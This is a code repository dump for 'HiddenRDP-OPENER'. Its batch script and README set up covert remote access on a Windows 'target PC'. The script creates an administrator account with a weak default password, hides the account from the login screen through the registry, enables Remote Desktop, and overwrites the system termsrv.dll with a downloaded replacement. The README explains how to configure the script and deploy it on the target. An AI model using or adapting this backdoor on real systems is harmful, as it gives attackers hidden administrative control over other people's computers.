├── RDPScript.bat ├── README.md └── termsrv.dll /RDPScript.bat: -------------------------------------------------------------------------------- 1 | @ echo off 2 | net user hidden 123123 /ADD 3 | net localgroup Administrators hidden /ADD 4 | reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0X00000000 /f 5 | REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v Hidden /t REG_DWORD /d 0X00000000 /f 6 | xcopy "termsrv.dll" "%windir%\System32\" /s /h /q 7 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # HiddenRDP-OPENER 2 | 3 | This script enables Remote Desktop Protocol (RDP) compatibility on any Windows system by creating a hidden administrative profile and modifying registry settings. It is open source, free to use, and has no conditions. 4 | 5 | --- 6 | 7 | ## Requirements 8 | - **Supported Operating Systems:** 9 | - Windows 7 10 | - Windows 8 11 | - Windows 10 12 | - *Note: Not tested on Windows XP.* 13 | 14 | --- 15 | 16 | ## How It Works 17 | 1. Creates a hidden user profile with administrative privileges. 18 | 2. Modifies registry settings to enable RDP connections on the target Windows system. 19 | 20 | --- 21 | 22 | ## Configuration 23 | 24 | ### Step 1: Edit the Script 25 | 1. Open `RDPScript.bat` in a text editor on your PC. 26 | 2. Make the following changes: 27 | 28 | #### User Account Configuration 29 | `net user hidden 123123 /ADD` 30 | - Replace `hidden` with the desired username for the hidden account. 31 | - Replace `123123` with the desired password for the account. 32 | 33 | #### File Path Configuration 34 | `xcopy "termsrv.dll" "%windir%\System32\" /s /h /q` 35 | - Replace `termsrv.dll` with the full path to the `termsrv.dll` file on the target PC. 36 | Example: `C:\Users\comix\Downloads\termsrv.dll`. 37 | 38 | 3. Move both `termsrv.dll` and `RDPScript.bat` to the target PC. 39 | 40 | --- 41 | 42 | ## Delete Configuration 43 | 44 | ### Step 1: Unhide the Profile 45 | To delete the hidden profile, modify the following line in `RDPScript.bat`: 46 | `REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v Hidden /t REG_DWORD /d 0X00000000 /f` 47 | 48 | Change it to: 49 | `REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v Hidden /t REG_DWORD /d 0X00000001 /f` 50 | 51 | This will make the hidden profile visible. 52 | 53 | --- 54 | 55 | ### Step 2: Disable RDP 56 | To disable RDP, modify the following line: 57 | `reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0X00000000 /f` 58 | 59 | Change it to: 60 | `reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0X00000001 /f` 61 | 62 | --- 63 | 64 | ## License 65 | This project is open source and free to use with no conditions. 66 | 67 | Copyright © 2019 Soufiyan AKAABOUB 68 | All rights reserved. 69 | -------------------------------------------------------------------------------- /termsrv.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SoufiyanAk/HiddenRDP-OPENER/992b5963f7b6afc6fd0070213cee8b993144aac1/termsrv.dll --------------------------------------------------------------------------------